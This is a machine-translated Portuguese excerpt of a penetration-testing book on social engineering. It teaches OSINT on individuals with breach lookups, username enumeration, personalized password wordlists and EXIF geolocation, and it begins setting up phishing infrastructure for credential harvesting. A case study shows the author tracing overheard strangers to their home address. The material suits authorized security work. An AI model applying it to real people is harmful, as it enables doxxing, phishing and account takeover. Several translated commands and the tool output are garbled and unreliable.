material) e o 10-Q (relatório trimestral). O 8-K normalmente envolve a concessão ou venda
de ações. O 10-Q é uma versão incremental do 10-K produzida trimestralmente, mas com
menos detalhes.

Conclusão
Este capítulo ilustrou a utilidade (e os perigos) das redes sociais e de outros recursos
disponíveis publicamente. As informações coletadas neste capítulo são uma boa base para
construir um ataque de engenharia social. Embora devamos armar apenas as informações
de que precisamos, é importante falar sobre o que encontramos, mas não usamos no
relatório que enviamos aos nossos clientes.

Mídias Sociais e Documentos Públicos 69


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Afinal, estamos tentando ajudar as empresas clientes a se tornarem mais seguras.


Não queremos apenas obter acesso, bater no peito e repetir o exercício na próxima
vez.
OSINT é mais do que coletar tudo o que existe sobre um determinado alvo.
Parte do OSINT é analisar dados e descobrir maneiras de explorá-los. Para alguns,
OSINT é tanto um modo de pensamento quanto uma capacidade técnica. Você
não precisa ser um hacker de elite (no sentido técnico) para ser bom, ótimo ou
mesmo de elite na OSINT. O mesmo vale para a engenharia social.

70 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

6
GATHERINGOSINT
SOBRE PESSOAS

Embora os capítulos anteriores tenham se


concentrado em reunir OSINT sobre empresas,
este capítulo se concentra em reunir OSINT
sobre pessoas usando uma série de ferramentas.
Você aprenderá como atingir uma pessoa procurando
informações como gostos, desgostos, conexões sociais e
perguntas sobre redefinição de senha. Também
continuaremos a usar nossa meta como alavanca contra
uma empresa, coletando OSINT de fotos que eles tiraram
enquanto estavam no local de trabalho, currículos,
reclamações ou queixas, se gabando do trabalho e de viagens, para cita
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usando ferramentas OSINT para analisar endereços de e-mail


Muitas vezes, quando você inicia um ataque, tudo o que você tem é um endereço de e-mail. Embora
isso possa ser suficiente para ataques de phishing, talvez você precise saber mais sobre seu alvo
para realizar outras tarefas. Nesses casos, você pode usar o endereço de e-mail para coletar mais
informações sobre o alvo, como nomes de usuário, fotos, contas de redes sociais e localizações físicas.
As ferramentas a seguir permitem que você pesquise OSINT sobre uma pessoa usando apenas seus
endereços de e-mail.

Todas essas informações são passadas através do que chamo de OSINT Heartbeat. O
OSINT Heartbeat é o ato de expandir e contrair as informações que você coletou – tornando possível
focar no alvo em um nível micro e depois expandir para fora, para as pessoas, contas e associações
adjacentes em um nível macro. . O aspecto mais vital do OSINT Heartbeat é discernir quais informações
têm um contexto de inteligência e quais não têm. Este processo é importante para evitar a visão de
túnel que resulta do foco muito próximo em um alvo, fazendo com que você perca outros pontos de
dados importantes.

Descobrindo se um usuário foi violado com Have I Been Pwned Os módulos hipb_breach e

hibp_paste na pesquisa Recon-ng Site Have I Been Pwned (HIBP) de Troy Hunt (https://
haveibeenpwned.com/) e bancos de dados associados para determinar se um endereço de e-mail inserido
esteve envolvido em alguma violação de dados.

Costumo usar esses módulos para criar um dossiê sobre como os funcionários da minha empresa
a empresa-alvo usa seus e-mails de trabalho. Esta é uma boa indicação da maturidade do programa
de segurança da empresa. Por exemplo, algumas pessoas, como aquelas que gerenciam contas de
mídia social, podem precisar ter uma conta do Facebook ou LinkedIn associada aos seus e-mails
de trabalho. No entanto, o zelador ou técnico de suporte técnico de nível associado provavelmente não o
faz.
Para usar módulos HIBP no Recon-ng, basta carregar o módulo, definir o
campo SOURCE para o endereço de e-mail ou lista que você deseja pesquisar e, em seguida, digite o
comando de execução :

[recon-ng][livro] > pesquisa de módulos hibp


[*] Procurando módulos instalados por 'hibp'...
Reconhecimento

recon/credenciais de contatos/hibp_breach
recon/credenciais de contatos/hibp_paste
[recon-ng][default][hibp_breach] > executar
[*] bill@nostarch.com => Violação encontrada! Visto na violação do Adapt que ocorreu em 05/11/2018.
[*] bill@nostarch.com => Violação encontrada! Visto na violação do AndroidForums que ocorreu em 2011-
10-30.
[*] bill@nostarch.com => Violação encontrada! Visto na violação do AntiPublic que ocorreu em 12/12/2016
16.

Você também pode pesquisar registros manualmente no site principal do HIBP.


Alguns dos registros exibidos são privados, o que significa que você pode vê-los

72 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

somente se você puder confirmar que é o proprietário do e-mail por meio de um processo
automatizado de e-mail ou confirmar que é o proprietário de todo o domínio (ou se for um
administrador de sistema autorizado dele). Para verificar cada e-mail em um domínio
inteiro, você deve ser capaz de demonstrar a propriedade, normalmente por meio de um DNS TXT
registro. O hack do site de namoro Ashley Madison é um exemplo disso.

Enumerando contas de mídia social com Sherlock


Sherlock (https:// github.com/ sherlock-project/ sherlock) é uma ferramenta Python 3 escrita
e mantida pelo Projeto Sherlock. Ele vasculha vários sites de mídia social em busca de nomes
de usuário. A lista de sites que Sherlock verifica é menor do que outras ferramentas, mas
ainda assim útil.
Para instalar e usar o Sherlock, siga estas etapas:

clone do git https://github.com/sherlock-project/sherlock


cd sherlock
pip3 instalar -r requisitos.txt
python3 sherlock.py OPÇÕES NOME DE USUÁRIO

Sherlock fornecerá resultados semelhantes a WhatsMyName e Recon-ng.


Use a ferramenta de sua preferência, mas sempre use várias ferramentas para aumentar a
qualidade ou fidelidade dos dados coletados.

Enumerando contas de sites com WhatsMyName


WhatsMyName (https:// github.com/ WebBreacher/ WhatsMyName) é uma ferramenta escrita
por Micah Hoffman que enumera sites onde existe um nome de usuário específico. Esta é
uma forma eficaz de verificar o possível comportamento e atividade na web de um usuário.
Você também pode ativar WhatsMyName no Recon-ng como criador de perfil
módulo. Além disso, Chris Poulter da OSINT Combine colaborou com Hoffman para criar
um aplicativo da web WhatsMyName (https:// whatsmyname
.aplicativo/).

No momento em que este artigo foi escrito, WhatsMyName verificava mais de 250
sites. Para restringir o número de sites verificados ou para adicionar à lista, basta editar o
web_accounts_list.json com a sintaxe JSON adequada, como no exemplo a seguir:

{
"nome": "YouTube",
"check_uri": "https://www.youtube.com/user/{account}/videos",
"código_existência_da_conta": "200",
"account_existence_string": "nome\" content=",
"
"account_missing_string": Este canal não existe",
"account_missing_code": "404",
"contas_conhecidas": ["teste"],
"categoria": "vídeo",
"válido": verdadeiro
}

Reunindo OSINT sobre pessoas 73


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Se quiser verificar um site que não está incluído no arquivo JSON, você pode
simplesmente pesquisar como o site processa solicitações HTTP, incluindo os parâmetros que
ele usa e os códigos de resposta HTTP esperados. Você simplesmente copiaria a entrada no
arquivo.
Execute WhatsMyName usando o seguinte comando:

root@kali:/ opt/WhatsMyName# python3 web_accounts_list_checker.py -u nostarchpress


- 190 sites encontrados em arquivo.
- Procurando https://500px.com/nostarchpress
- Procurando https://9gag.com/u/nostarchpress
--recorte--
- Procurando https://api.github.com/users/nostarchpress
[+] Usuário encontrado em https://api.github.com/users/nostarchpress
- Procurando https://gitlab.com/nostarchpress
[+] Usuário encontrado em https://gitlab.com/nostarchpress
- Procurando https://www.goodreads.com/user/show/nostarchpress
- Procurando https://www.gpsies.com/mapUser.do?username=nostarchpress

À medida que você executa o script, um [+] deve aparecer ao lado de cada site em que
WhatsMyName detecta uma conta.

Analisando senhas com Pwdlogy


Pwdlogy (pronuncia-se Password-ology) é uma ferramenta escrita por tch1001 que permite que
hackers criem uma lista de palavras para um determinado usuário com base em termos que
eles usam com frequência e em tópicos que são significativos para eles. Você fará sua própria
análise manual e, em seguida, preencherá uma lista. A ferramenta então altera essa lista
adicionando caracteres ao que você inseriu e alternando os caracteres para criar uma lista de
palavras muito mais longa. Os invasores podem então usar essa lista de palavras para ataques
de adivinhação de senhas e atividades relacionadas.
Embora superficialmente isso possa não parecer particularmente útil para um contexto social
engenheiro, com um pouco de engenhosidade, pode ser. Por exemplo, imagine que você está
fazendo phishing contra um usuário específico e tem aprovação para usar um pré-texto de
redefinição de senha. Em outras palavras, você pode pesquisar informações com o usuário,
possivelmente entregando-lhe uma pesquisa ou enquanto conversa um pouco. Usando essas
informações, você pode preencher uma lista no Pwdlogy e usá-la para teste. Se você tiver menos
de 10 usuários para fazer phishing, poderá descobrir como eles criam novas senhas usando esse
método. Se você tiver centenas ou milhares, isso pode não funcionar tão bem.

Para instalar e usar o Pwdlogy, digite os seguintes comandos:

clone do git https://github.com/tch1001/pwdlogy


cd pwdlogia
tecnologia python3

74 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Esses comandos clonarão o código do GitHub para o seu sistema e, em seguida,


moverão você para o diretório e o executarão com Python. Para criar sua lista para
Pwdlogy, use OSINT para coletar as seguintes informações sobre cada usuário:

•Nomes do cônjuge, irmão, pais e filhos


•Os nomes dos animais de estimação

•Palavras e números favoritos

•Aniversários

Como defensor, você poderia então restringir os usuários de usar qualquer variante
de itens desta lista como senhas e exigir que eles escolhessem algo diferente. Isso permitiria
reduzir a probabilidade de alguém adivinhar as senhas dos usuários, mas não faria nada
para a reutilização ou preenchimento de senhas como resultado de violações de dados
fora da sua organização.
Alternativamente, você pode usar a lista em uma conversa ou phishing para capturar
a atenção de um alvo. Por exemplo, pergunte como está o cônjuge ou filho da vítima,
pelo nome. Um testador de penetração pode usar essas informações para pulverização de
senha (um ataque no qual você tenta as mesmas senhas com vários nomes de usuário,
em oposição à quebra de senha tradicional, que envolve tentar várias senhas possíveis para
um único usuário) ou outros meios técnicos para obter
acesso a uma conta.

Analisando as imagens de um alvo


Algumas das pesquisas que mostrei ao longo deste capítulo revelaram imagens, e uma
análise mais aprofundada dessas imagens pode nos fornecer informações importantes
sobre um alvo. Procuro quatro coisas quando vejo imagens para análise OSINT.

Primeiro, olho para o primeiro plano, ou para o que a imagem realmente pretende
nos dizer, seja sobre uma pessoa, uma cena ou qualquer outra coisa. Em seguida, olho
para o fundo. Por exemplo, existe um papel de parede de hotel cafona que possa vincular
esta imagem a um local ou rede específica? Eu então olho para o que está faltando na
foto. O que deveria estar aqui? Penso nisso como um daqueles desafios de comparação de
duas imagens. Algo foi photoshopado? Alguma coisa saiu do quadro?

Por fim, examino os dados do Exchangeable Image File (EXIF) . O EXIF para mat é
um padrão para imagens estáticas que define as imagens, sons e outras tags que câmeras
digitais, smartphones e outros sistemas produzem. Como todas as câmeras e smartphones
têm a capacidade de produzir esses dados, podemos coletar vários níveis de OSINT
sobre as fotos e as pessoas que as tiraram.

Nesta seção, abordarei algumas maneiras de analisar dados EXIF.

Reunindo OSINT sobre pessoas 75


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Analisando dados EXIF manualmente


Vamos analisar os dados EXIF da imagem mostrada na Figura 6-1.

Figura 6-1: Imagem enviada por um aluno para análise

Para analisar os dados EXIF, clique com o botão direito na imagem e selecione Obter
informações em um Mac. No Windows e Linux, clique com o botão direito na imagem e selecione Propriedades.
Isso deve abrir uma janela com dados EXIF visíveis (Figura 6-2).
Aqui vemos o tipo de imagem e quando a baixei. Obtemos as dimensões, marca e modelo
da câmera que a capturou – neste caso, um iPhone X. Na parte inferior, vemos a latitude e a
longitude do local onde a imagem foi tirada, que é uma informação que os smartphones normalmente
incluem .

Analisando imagens usando ExifTool


ExifTool é uma ferramenta que pode analisar automaticamente dados EXIF e fornecer muito mais
informações do que uma análise manual. Algumas dessas informações podem ser particularmente
úteis se você estiver traçando o perfil de uma empresa no local, aprendendo sobre a cultura da
empresa ou visando um dispositivo móvel para exploração.
Outra aplicação útil é se você estiver competindo em um dos CTFs do Search Party da Trace
Labs (https:// www.tracelabs.org/ getinvolved/ ctf/).

76 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 6-2: Obtendo informações EXIF em um MacBook

Para instalar o ExifTool no Kali, execute o seguinte:

apt-get instalar exiftool

Para analisar um arquivo, execute isto:

nome do arquivo exiftool

Alternativamente, você pode usar o Image Metadata Viewer de Jeffrey (http:// exif
.regex.info/ exif.cgi), uma versão online do ExifTool. Isso é útil se você estiver tentando evitar o download de um
arquivo ou estiver trabalhando explicitamente apenas com imagens on-line. Você pode fornecer à ferramenta
um arquivo ou link e ela postará os resultados
na tela.

Reunindo OSINT sobre pessoas 77


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Vamos começar a análise observando os tempos do MACB. MACB é um termo


forense para os momentos em que um arquivo foi modificado, acessado, alterado e “nasceu”
(criada). Neste caso, aparece quando baixei este arquivo do meu e-mail:

root@kali:~/Documents# exiftool IMG_4438.JPG


Número da versão do ExifTool: 11.65
Data/hora de modificação do arquivo : 2019:09:14 00:41:45-04:00

A seguir, após o tipo de arquivo, você vê a marca e o modelo da câmera, também


como a orientação do dispositivo ao tirar a foto e o flash não foi usado:

Tipo de arquivo :JPEG


Versão JFIF : 1,01

Ordem de bytes Exif : Big-endian (Motorola, MM)


Fazer : Maçã
Nome do modelo da : iPhone X

câmera --snip--

A área de software também é extremamente importante, pois neste caso nos


informa a versão do Apple iOS que está rodando o telefone que tirou a foto:

Programas : 12.3.1
Criar Data : 2019:08:03 11:39:02
--recorte--
Tipo de cena : Fotografado diretamente
Renderizado personalizado : Retrato HDR

A seguir, você vê a marca e o modelo da lente. Deve ser semelhante à marca e


modelo da câmera. Neste caso, você pode ver que a câmera dupla traseira do iPhone X
foi usada e que estava nos hemisférios Norte e Leste (basicamente, Europa ou
partes da Ásia):

Informações da lente : 4-6 mm f/1.8-2.4


Fabricação de lentes : Maçã
Modelo de lente : Câmera dupla traseira do iPhone X 6mm f/2.4
Referência de latitude GPS : Norte

Referência de longitude GPS : Leste


Referência de altitude GPS : Acima do nível do mar

Referência de velocidade do GPS :km/h


Velocidade GPS : 0,2333080322

A direção da imagem é a direção (entre 0,000 e 359,99º) que


fotógrafo estava apontando:

Referência de direção de imagem GPS : Norte verdadeiro

Direção GPS Img --snip-- : 221.1058655

Tempo de criação digital : 11:39:02


Data de Criação Digital : 2019:08:03

78 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Nas análises finais, você pode ver quanto tempo o telefone tem
estive fora do carregador, a elevação e a latitude e longitude:

Tamanho da : 4032x3024
imagem Fator : 12,2

de escala de megapixels para 35 mm Equivalente: 8,7


Data de criação : 1/163
da velocidade do obturador: 2019:08:03 11:39:02.291
Data/Hora Original : 2019:08:03 11:39:02.291
Altitude do GPS : 16,6 m acima do nível do mar
Latitude do GPS : 51 graus 22' 4,87" N
Longitude GPS : 0 graus 12' 37,68" E
Data/hora de criação : 2019:08:03 11:39:02
Data/Hora da Criação Digital : 2019:08:03 11:39:02

Isso permite confirmar o local onde a foto foi tirada usando um


aplicativo de mapeamento. Por exemplo, se esta fosse uma foto de um
computador com Windows 7 desbloqueado em uma mesa, você poderia usar
as coordenadas para descobrir o endereço da instalação onde a foto foi
tirada, bem como uma possível empresa cujo escritório a foto foi tirada. .
Vamos tentar isso agora. Pegue a latitude e a longitude e coloque-as no
Google Maps, gerando a imagem mostrada na Figura 6-3.

Figura 6-3: Entrada do Google Maps para latitude e longitude retirada de dados EXIF

Esta cena confirma que a foto foi tirada perto do Plough Inn, ao longo
do rio Darent, em Eynsford, Inglaterra.

Reunindo OSINT sobre pessoas 79


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Analisando mídias sociais sem ferramentas


Nesta seção, abordarei os aspectos mais úteis das plataformas comuns de mídia
social para coleta OSINT. Em geral, você deve se concentrar em hábitos, cultura e
conexões. Os hábitos incluem a frequência com que os usuários postam, os termos que
usam e comportamento semelhante. A cultura inclui as normas que a pessoa ou
organização segue. As conexões, ou outros usuários na rede de um alvo, são
complicadas. Não defendo a conexão com contas pessoais como parte de
compromissos, porque essas contas não pertencem à empresa que está pagando.

LinkedIn
No LinkedIn, verifique se o alvo é um LinkedIn Open Networker (LION),
ou alguém que aceitará todas as solicitações de conexão. Além disso, enumere seus
colegas. Observe as informações deles, que provavelmente incluirão algumas realizações.
Você também pode encontrar endereços de e-mail ou links para outros sites de mídia social.

Instagram
No Instagram, você pode ver com quem um alvo interage mais. Você também pode confirmar
a aparência de alguém além das fotos na cabeça e criar um dossiê que o ajudará a se
comportar como as pessoas com quem eles convivem.
As pessoas não gostam de admitir, mas costumam associar a um tipo.

Facebook
O Facebook pode permitir que você aprenda mais sobre uma pessoa do que você jamais
desejou ou, inversamente, pode ser como tentar tirar sangue de um nabo. Algumas pessoas
são extremamente preocupadas com a privacidade, e o Facebook oferece os controles de
privacidade mais granulares, com as configurações típicas Somente eu, Amigos específicos,
Somente amigos, Amigos de amigos e Público.
Se uma pessoa compartilhar publicamente no Facebook, você poderá aprender sobre
relacionamentos, viagens e afiliações políticas e religiosas. Mesmo que alguém tenha a
privacidade definida como Amigos ou mais restrita, você ainda poderá ver tudo o que ele
postar ou comentar publicamente (como notícias locais), a menos que você tenha sido bloqueado.

Twitter
Em termos de controles de privacidade, o Twitter tem apenas três opções: protegido/
bloqueado, bloqueado e padrão. Protegido/ bloqueado permite ao usuário aprovar quem pode
ver seus tweets. Isto é diferente de bloqueado; se um usuário bloquear outro usuário, mas
não tiver a configuração protegido/bloqueado, o usuário bloqueado ainda poderá ver os
tweets do outro usuário de outra conta. Se protegidos, eles terão que enviar uma solicitação
de aprovação. A configuração padrão mostra tudo para todos, a menos que estejam
bloqueados ou silenciados. O Twitter é especialmente útil para coletar informações sobre
figuras públicas, tecnólogos, pioneiros na adoção de tecnologias emergentes, especialistas
políticos e fãs de esportes.

80 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Estudo de caso: O jantar que rendeu todo o ouro


Algum tempo atrás, eu estava jantando em um restaurante local. Eu estava sentado perto
de duas mulheres que, com base na conversa, pareciam velhas amigas conversando. A
primeira mulher – vamos chamá-la de Wanda – era quem fazia mais perguntas, enquanto
a outra – vamos chamá-la de Tammy – compartilhava informações sem discrição.

Wanda perguntou a Tammy onde ela trabalhava, e Tammy respondeu com o nome da
empresa, e também como surgiu o nome (era uma variação do nome do proprietário). Ela
disse que trabalhava lá há cinco anos e depois explicou o que fazia pela empresa, revelando
que se tratava de uma padaria. Ela passou a desabafar sobre suas frustrações e falar sobre
seus triunfos.
Wanda perguntou a Tammy se ela já era casada. Tammy falou sobre seu ex-namorado,
Steven, e a custódia compartilhada de Leif. Ela também mencionou a mãe de Steven, que
morava em Tulsa, e depois disse a Wanda que a mãe de Chris tinha medo de Leif. Fiquei
me perguntando: que tipo de avó tinha medo do neto? Espere, pensei. Talvez Leif não fosse
uma criança humana. Com certeza, Wanda perguntou se Tammy queria filhos de verdade
e qual era a raça de Leif. Tammy respondeu com um comentário sobre sua imagem
corporal e alguns problemas de saúde, e então informou à amiga que Leif era um vira-lata
de um ano.
Por fim, Tammy falou sobre seu novo namorado, Dick, e sua carreira como comediante.
Wanda perguntou como Dick se sentia ao compartilhar a custódia de Leif, e Tammy respondeu
com uma história sobre Dick e Steven fazendo algumas coisas juntos com Leif e indo a shows
juntos.
Isso pode parecer bastante inócuo, mas usando esta conversa, aqui está
o que descobri e como:

O nome do dono da padaria

Procurei o nome da padaria e depois olhei os comentários com respostas e avaliações


no Facebook.

O nome da filha e funcionária do dono da padaria

Examinei as fotos da padaria e depois encontrei o status de relacionamento público


do proprietário no Facebook.

O nome do genro do proprietário

Novamente, através do status de relacionamento público do proprietário.

O nome de Tammy

Fui criativo e comecei a ler resenhas da padaria no Facebook.


Sabendo pela conversa que Tammy começou a trabalhar na padaria há cinco anos,
procurei avaliações nesse período. Encontrei uma avaliação cinco estrelas sem texto ou
depoimento e reconheci a autora pela foto do perfil.

Reunindo OSINT sobre pessoas 81


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A identidade de Dick, o namorado

Verifiquei as fotos e o status de relacionamento de Tammy no Facebook e


depois confirmei a descoberta usando o status de relacionamento e a profissão
listados em sua página no Facebook.

A identidade de Steven, o ex-namorado

Tammy tinha três amigos no Facebook chamados Steven, mas apenas um


deles tinha mãe morando em Tulsa. Confirmei essa descoberta examinando
fotos e cruzando referências de Leif (um cachorro muito feio, aliás).

Endereço residencial de Tammy e Dick e fotos da casa

Junto com dicas em suas páginas do Facebook, verifiquei os registros de


propriedade do Melissa Property Data Explorer e o Google Street View.

Nas mãos erradas, essas informações podem servir de base para roubo de
identidade, invasão de domicílio ou coisa pior. Como isso poderia ter sido mitigado
ou evitado?

•Eu poderia não ter ouvido. Mas uma vez que você entra no OSINT e na engenharia
social, fica meio difícil desligá-lo.
•Tammy e Wanda poderiam ter sido menos descritivas ou falado mais baixo.
Tammy, Dick, Steven e Wanda poderiam ter usado melhores configurações de
compartilhamento e controles de privacidade em suas redes sociais. Todos os
partidos poderiam ter sido mais vagos sobre o que disseram ou publicaram ou
usaram a desinformação para despistar os engenheiros sociais.

Conclusão
O objetivo da coleta OSINT de pessoas é compreender melhor as ameaças que os
funcionários apresentam ao seu empregador e potencialmente construir relacionamento
com eles em compromissos de engenharia social. Existem várias fontes de pessoas
OSINT, incluindo fotos, amigos, mídias sociais e coisas rotineiras como endereços de
e-mail, nomes de usuário e endereços IP. Para usar essas ferramentas de maneira
ética, trate-as como um meio de aprender mais sobre a empresa, e não sobre o
indivíduo. Lembre-se: evite interagir com contas pessoais.

82 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

7
PHISHING

Neste capítulo, você criará uma campanha de


phishing. Analisaremos a infra-estrutura que
você precisará se quiser criar um
ataque manualmente e, em seguida, discuta soluções
automatizadas, recursos técnicos como pixels de rastreamento
que você pode adicionar ao seu ataque e os fatores que você
deve considerar antes da implantação para tornar seu envolvimento
bem-sucedido. Este capítulo deve ajudar qualquer engenheiro
social a iniciar ataques baseados em e-mail. Também pode ser
uma atualização para administradores de sistema ou um guia
informativo para alguém vindo de um Centro de Operações
de Segurança ou de uma função de conformidade.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Configurando um ataque de phishing

A arquitetura adequada a ser usada para um ataque de phishing varia. Todas as ferramentas
de que você precisará dependem do escopo do trabalho, do SOW, do contrato e dos
desejos do cliente. Por exemplo, se o cliente quiser que você meça quantos funcionários
clicam em um link incompleto em um e-mail, tudo o que você precisa é de um servidor web
simples que capture solicitações HTTP GET e exiba uma página 404 ou de agradecimento
ao usuário. As respostas serão armazenadas em um log do Apache.
A partir daí as coisas ficam mais complicadas. O cliente quer que você falsifique ou
agache? Você pode falsificar um domínio legítimo, enviando um e-mail e manipulando as
informações exibidas ao destinatário para fazer com que pareçam vir de uma fonte legítima,
mas a falsificação é fácil de detectar.
O agachamento, uma técnica semelhante, é menos arriscado e é menos provável
que você seja pego. Envolve registrar um domínio semelhante ao do destinatário,
como .co.uk, no domínio .com de uma empresa . Isso faz com que seus e-mails pareçam
vir de um domínio legítimo – pelo menos para aqueles que não olham muito de perto.
Em seguida, seus clientes desejam que você colete credenciais de usuário ou outras
informações confidenciais, como perguntas sobre redefinição de senha? Nesse caso, seu e-
mail deverá direcionar para uma página web que solicite essas informações de forma
convincente. Ou seus clientes querem que você envie documentos maliciosos? Nesse caso,
você precisará criar esses documentos e encontrar um local para hospedá-los sem ser
sinalizado por ferramentas de segurança.
Eles querem que você use uma solução automatizada de phishing, como King
Phisher ou Gophish? Se você faz phishing regularmente, provavelmente já terá uma
configuração automatizada, mas mesmo que tenha, pode ser necessário fazer algumas
alterações ou inserir seus próprios designs de e-mail. Os engenheiros sociais mais
bem-sucedidos compreendem tanto os aspectos técnicos da arquitetura quanto o elemento
humano que faz com que seu ataque seja bem-sucedido.
Nesta seção, você configurará um ataque de phishing sofisticado projetado para
enganar os usuários e evitar a detecção. Ao configurar seu próprio VPS, servidor de e-
mail e página de destino, você poderá enviar e-mails que parecem vir de um endereço de
e-mail corporativo legítimo. Você incluirá um link no corpo do e-mail que direciona os
usuários para uma página da web, solicitando que eles insiram suas credenciais.

Configurando uma instância VPS segura para páginas iniciais de phishing

Não importa o que você faça em seu compromisso, quase sempre precisará de uma instância
VPS. Através de um VPS, você poderá hospedar uma landing page e executar um
servidor de e-mail, se desejar, tudo sem vincular seu ataque ao seu endereço IP.
Nesta seção, mostrarei como configurar um VPS seguro com a Digital Ocean, uma
empresa de infraestrutura em nuvem que permite usar seus serviços para pesquisas
de segurança. Droplets, que são instâncias DigitalOcean VPS, começam com preços
mensais baixos e vêm com backups, snapshots, volumes de armazenamento, DNS,
CDN, balanceamento de carga, aplicativos de um clique e firewalls de rede. Você
pode escolher entre uma variedade de sistemas operacionais Linux e BSD,

84 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

contêineres e aplicativos pré-carregados como Node.js, LAMP, WordPress, GitLab e Docker.

Observe que a DigitalOcean possui data centers em Nova York, São Francisco, Toronto, Bangalore,
Amsterdã, Frankfurt, Londres e Cingapura. Esses locais podem ser importantes porque algumas regiões
filtram determinado conteúdo e algumas empresas filtram o tráfego com base no país. Além disso, se estiver
a lidar com cidadãos europeus e com os seus dados, deverá procurar aconselhamento jurídico
relativamente ao RGPD da UE.

Idealmente, você deve configurar seu VPS com seu domínio e servidor web pelo menos duas
semanas antes do compromisso. Isso ocorre porque algumas plataformas de segurança de servidores de e-
mail rejeitam todos os e-mails de domínios com menos de duas semanas.

Criando uma conta DigitalOcean e Droplet

Para configurar um droplet DigitalOcean, você precisa criar uma conta. Navegue até https://
www.digitalocean.com/ e siga as instruções de inscrição da página. Recomendo ativar a autenticação de
dois fatores para sua conta para evitar que alguém obtenha acesso caso comprometa sua senha.

Uma vez logado, selecione CriarÿDroplet. Selecione o sistema operacional desejado. Eu


recomendo usar Kali ou Debian Linux. Em seguida, dimensione a gota para determinar o número de
processadores e a quantidade de RAM que ela deve usar. Quanto mais conexões a gota tiver, mais poder
de processamento ela precisará. Para um envolvimento curto que atinja, digamos, 150 usuários, o droplet
padrão deve funcionar sem problemas. Em seguida, você pode optar por usar IPv6, rede privada, backups
ou sua própria chave RSA. Você também pode adicionar um nome de host ou ativar vários droplets.

Você deverá ver o endereço IP do droplet assim que ele for criado. A DigitalOcean irá
envie-lhe por e-mail a credencial raiz inicial do host, bem como o endereço IP. Se você fizer upload de um
par de chaves SSH, conforme descrito na próxima seção, poderá usar essas informações para fazer login.
Caso contrário, a DigitalOcean enviará a você por e-mail uma senha de root temporária, mas você será
solicitado a alterá-la após seu primeiro login. .

Criando um par de chaves SSH para proteger o VPS

Ter um método de autenticação forte é importante, porque este servidor está voltado para a Internet.
Quando usei o DigitalOcean para executar honeypots – sistemas propositalmente vulneráveis criados com
o objetivo de serem atacados, permitindo que os pesquisadores estudassem as técnicas e o
comportamento dos invasores ou alertando os administradores sobre um comprometimento do sistema
– os hosts foram atacados por scanners e possíveis exploradores. .

Para evitar que invasores forcem sua senha, crie um par de chaves SSH. Também conhecido como
par de chaves RSA, um par de chaves SSH é uma chave RSA privada e pública usada para fazer login. Você
copiará a chave privada (id_rsa por padrão) para o seu sistema remoto e copiará a chave pública
(id_rsa.pub por padrão) para o arquivoauthorized_keys para permitir que o login ocorra. As chaves SSH
permitem desabilitar a autenticação por senha.

Phishing 85
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Primeiro, execute o seguinte comando em seu terminal:

ssh-keygen -t rsa
Insira o arquivo no qual deseja salvar a chave (/root/.ssh/
id_rsa): Insira a senha (vazia se não houver
senha): Insira a mesma senha
novamente: Sua identificação foi salva em /root/.ssh/id_rsa.
Sua chave pública foi salva em /root/.ssh/id_rsa.pub.
gato ./.ssh/id_rsa.pub > ./.ssh/authorized_keys

O comando ssh-keygen cria o par de chaves. Por padrão, as chaves aparecem no


diretório /root/.ssh do VPS. Você pode optar por gravar as chaves em um local específico passando
-C /path/ para o comando ssh-keygen , seguido pelo caminho do arquivo desejado. Você
também pode inserir uma frase secreta com sua chave SSH para criar um segundo fator de
autenticação. Você será solicitado a inserir uma senha ao criar o par de chaves. Se você não
quiser usar um, pressione ENTER para continuar.

Você precisará acessar o par de chaves VPS no sistema que usará para controlar o VPS.
Para fazer isso, use o Secure Copy Protocol (SCP) ou um cliente SCP. Se você estiver em um
host Windows, poderá usar o WinSCP, que é um emulador de terminal que permite aos usuários do
Windows se conectarem diretamente a hosts Linux por FTP, SSH e Telnet. Se você estiver em um
host Mac ou Linux, poderá usar um cliente SCP como o terminal nativo, iTerm2, Cyberduck ou
Termius. Isso permitirá que você mova as chaves RSA de e para o droplet. Você também pode
usar o cliente SCP posteriormente para mover artefatos, como arquivos, de e para o droplet.

Para copiar os arquivos usando WinSCP, faça login no VPS usando as credenciais
(senha ou par de chaves RSA) que você criou e arraste e solte os arquivos em qualquer
direção de dentro da GUI. Você precisará garantir que possui as permissões corretas para o seu
arquivo. Execute o comando chmod 600 filename da chave privada para garantir que você
tenha as permissões adequadas definidas.

Configurando o acesso remoto do Windows ao VPS

Depois de mover a chave RSA para sua estação de trabalho, instale um cliente que lhe dará
acesso remoto ao seu VPS. Você precisa de acesso remoto para configurar a landing page e
configurar quaisquer serviços adicionais, como servidores de e-mail, no VPS.

No Windows, você pode obter acesso remoto com a ferramenta PuTTY.


Baixe o PuTTYgen do site do PuTTY, https:// www.putty.org/.
Em seguida, crie um arquivo PuTTY Private Key (PPK) para usar no PuTTY e WinSCP importando
sua chave privada RSA para o software. Na janela PuTTY Key Generator, clique em Generate
(Figura 7-1).
Importe a chave id_rsa do host para o PuTTYgen. Você deverá ver a chave gerada no formato
PPK, conforme mostrado na Figura 7-2.

86 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 7-1: PuTTYgen

Figura 7-2: Criando um PPK

